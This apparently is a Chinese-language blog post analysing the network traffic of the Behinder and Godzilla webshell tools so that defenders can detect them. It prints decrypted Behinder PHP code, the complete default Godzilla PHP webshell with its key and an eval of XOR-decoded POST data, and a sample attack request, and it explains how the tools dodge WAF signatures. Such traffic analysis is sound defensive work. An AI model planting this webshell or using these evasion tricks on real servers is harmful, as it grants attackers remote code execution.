webshell工具流量分析

发布于 2022-04-23  1084 次阅读


冰蝎(Behinder)

冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出

AES加密:高级加密标准 (AES,Advanced Encryption Standard) 为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的),对称加密算法也就是加密和解密用相同的密钥,具体的加密流程如下图

加密流程图

共有两次请求

第一次请求

第一次请求为判断是否可以建立连接,比冰蝎2少了俩次 get 获取冰蝎动态密钥的行为

对请求数据进行AES解密

image-20220421161140041

再进行base64解密,获得解密后的冰蝎请求中的PHP代码

@error_reporting(0);
function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
            for($i=0;$i<strlen($data);$i++) {
                 $data[$i] = $data[$i]^$key[$i+1&15]; 
                }
            return $data;
        }
    else
        {
            return openssl_encrypt($data, "AES128", $key);
        }
}$content="bmZOS1NVNVEzdWE5TWp3VFZ5T.............................";$content=base64_decode($content);
main($content);

content这个变量名称和里面的内容为随机生成的,目的是为了绕过Content-Length

将第一次响应头中的数据进行 aes -> base64 解密之后

{"status":"success","msg":"anozNGkxcTZ5Mmd2dFUybEMxREpwR3........."}

message 是一段超极长的字符串,分析冰蝎请求中的 PHP 代码,发现他就是 content 经过 base64 -> aes 加密后生成的,作用和请求中的 content 一致都是绕过 $Content-Length

{"status":"success","msg": 这个返回数据特征已经在冰蝎 2.0 中已经被加入了Waf的检测规则当中,所以在冰蝎 3.0 当中用超大数据填充的方式绕过

思考一个问题,冰蝎 3.0 C/S 之间并没有传输密码,那么冰蝎是如何判断密码时候正确的?

其实这个问题,在分析流量时已经很明确了,首先冰蝎采用的是 AES 对称密钥加密,使用密钥 K 加密的数据必须使用密钥 K 解密,而冰蝎 3.0 webshell 中已经固定了这个密钥 K 即连接密码 MD5 值的前16位

以默认连接密码 rebeyond 为例,整个密码验证流程如下:

  1. 客户端(黑客)使用冰蝎连接输入密码 rebeyond ,冰蝎客户端对密码进行 MD5 加密,密钥为加密后值的前 16 位,连接数据使用其进行 AES 加密

    image-20211222212734710

  2. 这个密钥即 MD5 值前 16 位已经在服务端写死了并加入 session,服务端直接从 session 中去除 K 值进行 AES解密,完成整个通信流程

       $key = $_SESSION['k'];
       echo encrypt(json_encode($result),$key);
    }

哥斯拉(Godzilla)

由于哥斯拉在处理 jsp 和 php 时加密方式存在差异,本文将从 php 版的 shell 展开,对其运行原理再做一下总结和阐述。首先,生成一个 php 静态 webshell,加密器选择 PHP_XOR_BASE64

HTTP请求头特征

User-Agent

哥斯拉客户端使用 JAVA 语言编写,在默认的情况下,如果不修改 User-Agent,User-Agent 会类似于 Java/11.0.7(具体什么版本取决于 JDK 环境版本)。但是哥斯拉支持自定义 HTTP 头部,这个默认特征是可以很容易去除的

Accept

Accept 头为 text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 对这个默认特征应该很熟悉了,之前冰蝎也出现过同样的 Accept。为什么会这么巧合出现两个工具都会出现这个特征呢,其实这个也是 JDK 引入的一个特征,并不是作者自定义的 Accept。同样的这个默认特征也可以通过自定义头部去除,只能作为默认情况下的辅助检测特征

请求体特征

PHP_XOR_BASE64

image-20220423163418629

以默认 shell 的密码和密钥为例,生成的文件如下:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){ //进行异或加解密的函数
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){ //对上传代码做执行并得到结果
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

原始代码->base64编码->异或加密

流量分析

首次连接时会有三个连续的请求

image-20220423164218835

第一个数据包

POST /hackable/uploads/godzilla.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 127.0.0.1:8081
Content-type: application/x-www-form-urlencoded
Content-Length: 52541
Connection: close

pass=R0YEQgNVBE0GQ0YPU0YTUhoeTAtv............URVEaQgBDWTVrRG47

根据加密代码的分析,对pass进行解密后为各种功能的脚本

image-20220423172534851

可以发现该数据包并没有回包,可以作为流量识别的其中一个重要特征

第二个数据包

image-20220423172841374

根据代码分析对会包的字符串进行解密(分析过程比较复杂,敬请期待)得到OK

说明该请求一条测试请求,证明shell连接成功

第三个数据包

该请求的作用是获取目标的环境信息:

image-20220423173837035

解密得到原始代码 methodName=Z2V0QmFzaWNzSW5mbw==,即 methodName=getBasicsInfo。此操作调用 payload 中的 getBasicsInfo 方法获取目标环境信息向客户端返回。显然,这个过程又是一个固定特征

至此,成功挖掘到哥斯拉客户端与 shell 建连初期的三个固定行为特征,且顺序出现在同一个 TCP 连接中。可以总结为:

  • 发送一段固定代码(payload),http 响应为空
  • 发送一段固定代码(test),执行结果为固定内容
  • 发送一段固定代码(getBacisInfo)
Daniel_WRF
最后更新于 2023-09-22